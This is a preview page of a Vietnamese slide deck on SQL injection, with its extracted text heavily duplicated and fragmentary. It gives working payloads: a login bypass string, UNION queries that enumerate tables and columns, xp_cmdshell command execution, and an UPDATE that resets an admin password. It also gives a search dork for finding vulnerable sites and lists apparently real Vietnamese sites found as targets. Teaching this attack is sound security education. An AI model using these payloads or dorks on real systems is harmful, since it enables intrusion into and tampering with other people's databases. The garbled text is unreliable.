Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống
1
/ 48 trang
THÔNG TIN TÀI LIỆU
Thông tin cơ bản
Định dạng
Số trang
48
Dung lượng
8,87 MB
Nội dung
SQL INJECTION SQL INJECTION Nội dung trình bày: Nội dung trình bày: SQL Injection là gì? SQL Injection là gì? Các dạng tấn công bằng SQL Injection Các dạng tấn công bằng SQL Injection Kỹ Thuật tấn công bằng sql injection Kỹ Thuật tấn công bằng sql injection Cách phòng tránh Cách phòng tránh Demo Demo SQL Injection là gì? SQL Injection là gì? SQL injection là một kĩ thuật tấn công lợi dụng lỗ SQL injection là một kĩ thuật tấn công lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu để "tiêm vào" (injecti dữ liệu để "tiêm vào" (injecti on on ) và thi hành các câu ) và thi hành các câu lệnh SQL bất hợp pháp. lệnh SQL bất hợp pháp. Hậu quả của nó rất tai hại vì nó cho phép những kẻ Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện các thao tác xóa, hiệu chỉnh, tấn công có thể thực hiện các thao tác xóa, hiệu chỉnh, … … do có toàn quyền trên cơ sở dữ liệu của ứng dụng, do có toàn quyền trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy. thậm chí là server mà ứng dụng đó đang chạy. Lỗi này thường xảy ra trên các ứng dụng web có dữ Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị cơ sở dữ liệu liệu được quản lí bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase. như SQL Server, MySQL, Oracle, DB2, Sysbase. Các dạng tấn công bằng SQL Injection Các dạng tấn công bằng SQL Injection Có bốn dạng thông thường bao gồm: Có bốn dạng thông thường bao gồm: Vượt qua kiểm tra lúc đăng nhập (authorization Vượt qua kiểm tra lúc đăng nhập (authorization bypass) bypass) Sử dụng câu lện SELECT Sử dụng câu lện SELECT Sử dụng câu lệnh INSERT Sử dụng câu lệnh INSERT Sử dụng các stored-procedures [2], [3] Sử dụng các stored-procedures [2], [3] Dạng tấn công vượt qua kiểm tra đăng Dạng tấn công vượt qua kiểm tra đăng nhập nhập Đăng nhập nhờ vào lỗi khi dùng các câu lệnh Đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng SQL thao tác trên cơ sở dữ liệu của ứng dụng web. web. Trong trường hợp này, người ta có thể dùng Trong trường hợp này, người ta có thể dùng hai trang, một trang HTML để hiển thị form hai trang, một trang HTML để hiển thị form nhập liệu và một trang ASP dùng để xử lí nhập liệu và một trang ASP dùng để xử lí thông tin nhập từ phía người dùng. Ví dụ: thông tin nhập từ phía người dùng. Ví dụ: login.htm login.htm <form action="ExecLogin.asp" method="post"> <form action="ExecLogin.asp" method="post"> Username: <input type="text" Username: <input type="text" name="fUSRNAME"><br> name="fUSRNAME"><br> Password: <input type="password" Password: <input type="password" name="fPASSWORD"><br> name="fPASSWORD"><br> <input type="submit"> <input type="submit"> </form> </form> execlogin.asp execlogin.asp <% <% Dim vUsrName, vPassword, objRS, strSQL vUsrName = Dim vUsrName, vPassword, objRS, strSQL vUsrName = Request.Form("fUSRNAME") vPassword = Request.Form("fUSRNAME") vPassword = Request.Form("fPASSWORD") Request.Form("fPASSWORD") strSQL = "SELECT * FROM T_USERS " & _ strSQL = "SELECT * FROM T_USERS " & _ "WHERE "WHERE USR_NAME=' " & vUsrName & _ USR_NAME=' " & vUsrName & _ " ' and USR_PASSWORD=' " & vPassword & " ' “ " ' and USR_PASSWORD=' " & vPassword & " ' “ Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN= " strSQL, "DSN= " If (objRS.EOF) Then If (objRS.EOF) Then Response.Write "Invalid login." Response.Write "Invalid login." Else Else Response.Write "You are logged in as " & Response.Write "You are logged in as " & objRS("USR_NAME") objRS("USR_NAME") End If End If Set objRS = Nothing %> Set objRS = Nothing %> Người dùng nhập chuỗi sau vào trong cả 2 ô Người dùng nhập chuỗi sau vào trong cả 2 ô nhập liệu username/password của trang nhập liệu username/password của trang login.htm là: login.htm là: ' OR ' ' = ' ' OR ' ' = ' . . Lúc này, câu truy vấn sẽ được gọi thực hiện là: Lúc này, câu truy vấn sẽ được gọi thực hiện là: SELECT * FROM T_USERS WHERE SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and USR_NAME ='' OR ''='' and USR_PASSWORD= '' OR ''='' USR_PASSWORD= '' OR ''='' Câu truy vấn này là hợp lệ và sẽ trả về tất cả Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của T_USERS và đoạn mã tiếp các bản ghi của T_USERS và đoạn mã tiếp theo xử lí người dùng đăng nhập bất hợp pháp theo xử lí người dùng đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp lệ. này như là người dùng đăng nhập hợp lệ. Dạng tấn công sử dụng câu lệnh Dạng tấn công sử dụng câu lệnh SELECT SELECT Để thực hiện được kiểu tấn công này, kẻ tấn Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống để dò hở trong các thông báo lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công. tìm các điểm yếu khởi đầu cho việc tấn công. Thông thường, sẽ có một trang nhận ID của Thông thường, sẽ có một trang nhận ID của tin cần hiển thị rồi sau đó truy tin cần hiển thị rồi sau đó truy vấn nội dung của tin có ID này. vấn nội dung của tin có ID này. [...]... Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ liệu vì nó sẽ thực hiện câu lệnh: SELECT * FROM T_NEWS WHERE NEWS_ID=0 or 1=1 ... câu truy vấn đầu không thành công, chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa Nếu chúng ta thêm ' UNION SELECT name FROM sysobjects WHERE xtype = 'U' là có thể liệt kê được tên tất cả các bảng dữ liệu Dạng tấn công sử dụng câu lệnh INSERT Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng có thể xem và hiệu chỉnh thông tin của mình SQL injection có thể được... mã xây dựng câu lệnh SQL có dạng : Dạng tấn công sử dụng storedprocedures Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng được thực thi với quyền... quản trị hệ thống 'sa' Ví dụ, nếu ta thay đoạn mã tiêm vào dạng: ' ; EXEC xp_cmdshell 'cmd.exe dir C: ' Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe Kỹ Thuật tấn công bằng sql injection Bước 1: Tìm kiếm mục tiêu Bước 2: Kiểm tra chỗ yếu của trang web Bước 3: Nhận data qua ‘database using... http://vitcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SHEMA.COLUMNS WHERE TABLE_NAME=‘admin_login’ Out put: Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’[Microsoft][ODBC SQL Server Driver] [SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator /index.asp, line 5 Thu thập các dữ liệu quan trọng Chúng ta phải xác định được các tên... được Tìm kiếm mục tiêu Bạn có thể dùng các bất kỳ một search-engine nào trên mạng như các trang login, search, feedback… Bạn có thể “custome Search Engine” lại cho phù hợp với yêu cầu của bạn Thực hiện câu lệnh search: inurl:php?id= site:com.vn Đây là kết quả thu được Kết Quả Tìm Được Của Nhóm http://www.vsmc.com.vn/news_detail.php?id=19' http://www.toeic.com.vn/info/details.php?id=383'... mới vào table này Để thay đổi password của ‘aaa’ bạn có thể làm như sau: http://vitcon/index.asp?id=10 ;UPDATE ‘admin_login’ SET ‘password’ =‘ccc’ WHERE login_name=‘aaa’– Hoặc bạn login trực tiếp vào và thực hiện dưới quyền user đó Cách phòng tránh Cần có cơ chế kiểm soát chặt chẽ và giới hạn quyền xử lí dữ liệu đến tài khoản người dùng mà ứng dụng web đang sử dụng Các ứng dụng thông thường nên tránh . SQL INJECTION SQL INJECTION Nội dung trình bày: Nội dung trình bày: SQL Injection là gì? SQL Injection là gì? Các dạng tấn công bằng SQL Injection Các dạng tấn công bằng SQL Injection Kỹ. Thuật tấn công bằng sql injection Kỹ Thuật tấn công bằng sql injection Cách phòng tránh Cách phòng tránh Demo Demo SQL Injection là gì? SQL Injection là gì? SQL injection là một kĩ. cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase. như SQL Server, MySQL, Oracle, DB2, Sysbase. Các dạng tấn công bằng SQL Injection Các dạng tấn công bằng SQL Injection Có bốn